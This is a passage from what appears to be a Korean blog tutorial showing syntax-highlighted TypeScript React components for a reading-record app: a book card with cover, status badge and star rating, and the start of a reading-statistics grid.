&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; ReadingRecord &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@/types/database&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;BookCardProps&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  record&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ReadingRecord &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; book&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;any&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;BookCard&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; record &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; BookCardProps&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; book&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; status&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rating &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; record

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; statusLabel &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    reading&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;읽는 중&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    finished&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;완료&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    want_to_read&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;읽고 싶은&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;status&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; statusColor &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    reading&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;bg-blue-100 text-blue-800&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    finished&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;bg-green-100 text-green-800&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    want_to_read&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;bg-yellow-100 text-yellow-800&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;status&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Link href&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/books/&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;book&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;group rounded-lg border border-gray-200 bg-white p-4 transition hover:shadow-md&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;/* 책 커버 */&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;relative aspect-[3/4] w-full overflow-hidden rounded-md bg-gray-100&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;book&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cover_image_url &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Image
              src&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;book&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cover_image_url&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
              alt&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;book&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; 표지&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
              fill
              className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;object-cover transition group-hover:scale-105&quot;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;flex h-full items-center justify-center text-gray-400&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
              No Cover
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;

        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;/* 책 정보 */&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;mt-3 space-y-1&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;span
            className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;inline-block rounded-full px-2 py-0.5 text-xs font-medium &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;statusColor&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;statusLabel&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;span&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h3 className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;line-clamp-2 text-sm font-semibold text-gray-900&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;book&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h3&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;p className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;text-xs text-gray-500&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;book&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;author&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;

          &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;/* 별점 */&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;rating &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;flex gap-0.5&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
              &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
                &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Star
                  key&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                  className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;h-3.5 w-3.5 &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;
                    i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; rating
                      &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;fill-yellow-400 text-yellow-400&quot;&lt;/span&gt;
                      &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;text-gray-300&quot;&lt;/span&gt;
                  &lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
              &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;Link&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;독서 통계 컴포넌트&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/components/records/ReadingStats.tsx&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; BookOpen&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; CheckCircle&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Bookmark &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;lucide-react&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ReadingStatsProps&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  readingCount&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;number&lt;/span&gt;
  finishedCount&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;number&lt;/span&gt;
  wantToReadCount&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;number&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ReadingStats&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  readingCount&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  finishedCount&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  wantToReadCount&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ReadingStatsProps&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; stats &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      label&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;읽는 중&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      count&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; readingCount&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      icon&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; BookOpen&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      color&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;text-blue-600 bg-blue-50&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      label&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;완료&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      count&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; finishedCount&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      icon&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; CheckCircle&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      color&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;text-green-600 bg-green-50&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      label&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;읽고 싶은&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      count&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; wantToReadCount&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      icon&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Bookmark&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      color&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;text-yellow-600 bg-yellow-50&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;grid grid-cols-3 gap-4&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;stats&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stat &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div
          key&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;label&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;rounded-lg border border-gray-200 bg-white p-4&quot;&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;flex items-center gap-3&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;rounded-lg p-2 &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;color&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;icon className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;h-5 w-5&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;p className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;text-2xl font-bold text-gray-900&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;count&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;p className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;text-sm text-gray-500&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;label&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
